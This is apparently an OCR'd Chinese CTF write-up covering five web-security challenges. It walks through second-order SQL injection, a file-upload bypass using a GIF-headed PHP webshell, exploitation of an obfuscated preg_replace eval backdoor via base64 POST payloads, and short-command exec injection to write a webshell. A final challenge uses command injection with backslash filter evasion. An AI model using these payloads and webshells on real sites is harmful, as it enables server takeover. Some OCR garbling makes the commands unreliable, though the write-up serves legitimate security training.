1 http://39.100.119.37:81/

SQL注入

二阶SQL注入跟等价的一阶SQL注入一样功能强大。不过它是一种更细微的漏洞,通常更难被 检测到。

使用admin登录后,即可获取到KEY1

考点,sql注入获取用户admin的密码,登录获得key select * from user where user='' and passwd=''; insert into user() value('xxx','yyy') updata user set pwd='' where name='admin'

题目中有注册和登录选项 注册一个普通用户看看 zt111/111

注册特殊用户试试 admin'#999 成功, 登录 admin'#999

登录进去后 提示信息不是admin用户权限不足,

发现了重置密码操作

重置用户admin'#999 的密码成功

使用 admin 和你上一步修改的密码 即可登录

KEY1:fes3nu8e

二题: http://39.100.119.37:82/

文件上传突破

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

尝试获取webshell,答案就在根目录下key.php文件中。

尝试上传正常文件 gif, png, jpge 都可以

发现文件名后缀没有验证 可以直接上传php结尾的文件 39.100.119.37:82/2.php

```
注意: linux区分大小写,
有内容验证和文件头验证,尝试传入变异一句话
GIF89a
<?php system($ GET[c]); ?>
http://39.100.119.37:82/2.php?c=1s
http://39.100.119.37:82/2.php?c=cat ./key.php
查看源码拿到kev:
//key2:ef85ndsq
三题: http://39.100.119.37:83
文件包含
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合
理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件
中。
http://39.100.119.37:83/start/index.php?file=view.html
尝试访问 http://39.100.119.37:83/start/index.php?file=view.htm 失败
可能只有view.html可以访问
查看 view.html 源码 <a href="http://39.100.119.37:83/start/view.html">http://39.100.119.37:83/start/view.html</a>
<?php
```

[(.*)\]/e","\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));

@\$a = \$ POST['Hello'];

@preg replace("/\

if(isset(\$a)){

Are you ok?

} ?> Hello


```
解码: WOB1dmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=
[@eval(base64 decode($ POST[z0]));]
view.html 有两个参数 Hello 和 z0
于是构建参数
Hello=11&z0=system('cat ../key.php');
system('cat ../key.php');
                         64编码=》 c31zdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
Hello=11&z0= c31zdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
改变 get方法为post
POST /start/index.php?file=view.html HTTP/1.1
Host: 39.100.119.37:83
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5kv1qhl48fmj0em41it4enug8s
X-Forwarded-For: 8.8.8.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Hello=11&z0=c3lzdGVtKCdjYXQqLi4va2V5LnBocCcpOw==
源码获得key
//key3:ce8nrwd7
四题: http://39.100.119.37:84/
代码审计
检查源代码中的安全缺陷,是否存在安全隐患,或者有编码不规范的地方,通过自动化工具
或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全
漏洞
0 <?php
  header("Content-type:text/html;charset=utf-8");
  Hint:
```

get the shell find the key;) \n";

```
*/
  echo strlen($ GET['cmd']);
  if (isset($ GET['cmd']) && strlen($ GET['cmd']) <= 30) {
    @exec($ GET['cmd']);
#@eval($_GET['cmd']);
  highlight_file(__FILE__);
echo "<br /> IP: {$ SERVER['REMOTE ADDR']}";
IP: 10.10.10.131
通过代码发现, exec可以直接执行cmd 参数, 但是有长度限制
方法一: 1s >1. txt
http://39.100.119.37:84/start/vul.php?cmd=ls >1.txt
http://39.100.119.37:84/start/1.txt
拿到key:
key4 is dz8c3sha
方法2: 使用echo写入一句话
echo -e 不换行
echo -e '命令'
方法三: echo 写入 , php拼接
<?php $a='$ POST[C]';</pre>
$a+=
eval($a);
?>
echo '<?php' >1.php
echo '$a="$ POST["' >1. php
echo '$a=$a."C];"' >1. php
echo 'eval($a);' >1. php
echo '?>' >1. php
```

一句话写入完成, 使用菜刀连接即可

http://39.100.119.37:84/start/1.php

五题: http://39.100.119.37:85/

命令执行

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP中的system, exec, shell exec等, 当用户可以控制命令执行函数中的参数时, 将可注 入恶意系统命令到正常命令中, 造成命令执行攻击。

请读取根目录下的key. php文件

发现有连接符过滤,如;

可使用 &

127.0.0.1& cal 发现可执行

127.0.0.1% pwd 获得路径 /var/www/html/start

使用curl 尝试

127. 0. 0. 1&curl file:///var/www/html/start/key.php

127.0.0.1&curl file:///var/www/html/key.php

发现php 可能是敏感字符,被过滤了

分割命令: ' \ ()

发现可以执行: 127.0.0.1 & 1\s -a1 ../

drwxrwxrwx 6 nginx nginx 128 Nov 10 07:24. drwxr-xr-x 1 root root 19 Oct 31 2018 .. drwxr-xr-x 2 nginx nginx 40 Mar 19 2019 css -rw-r--r-- 1 nginx nginx 0 Nov 10 07:24 dir.txt -rw-r--r-- 1 nginx nginx 303 Oct 8 03:39 footer.php -rw-r--r-- 1 nginx nginx 543 Mar 19 2019 header.php -rw-r--r- 1 nginx nginx drwxr-xr-x 2 nginx nginx 21 Mar 19 2019 images 1000 Mar 19 2019 index.php 25 Mar 19 2019 js 48 Oct 10 06:18 key.php 4096 Nov 17 03:44 start drwxr-xr-x 2 nginx nginx

发现 key.php ,但是权限不够,给文件加权限 127.0.0.1 & chmo\d 777 ../key.ph\p

127. 0. 0. 1 & ca\t ../key.ph\p

查看源码拿到key: //key5:acsq3fd5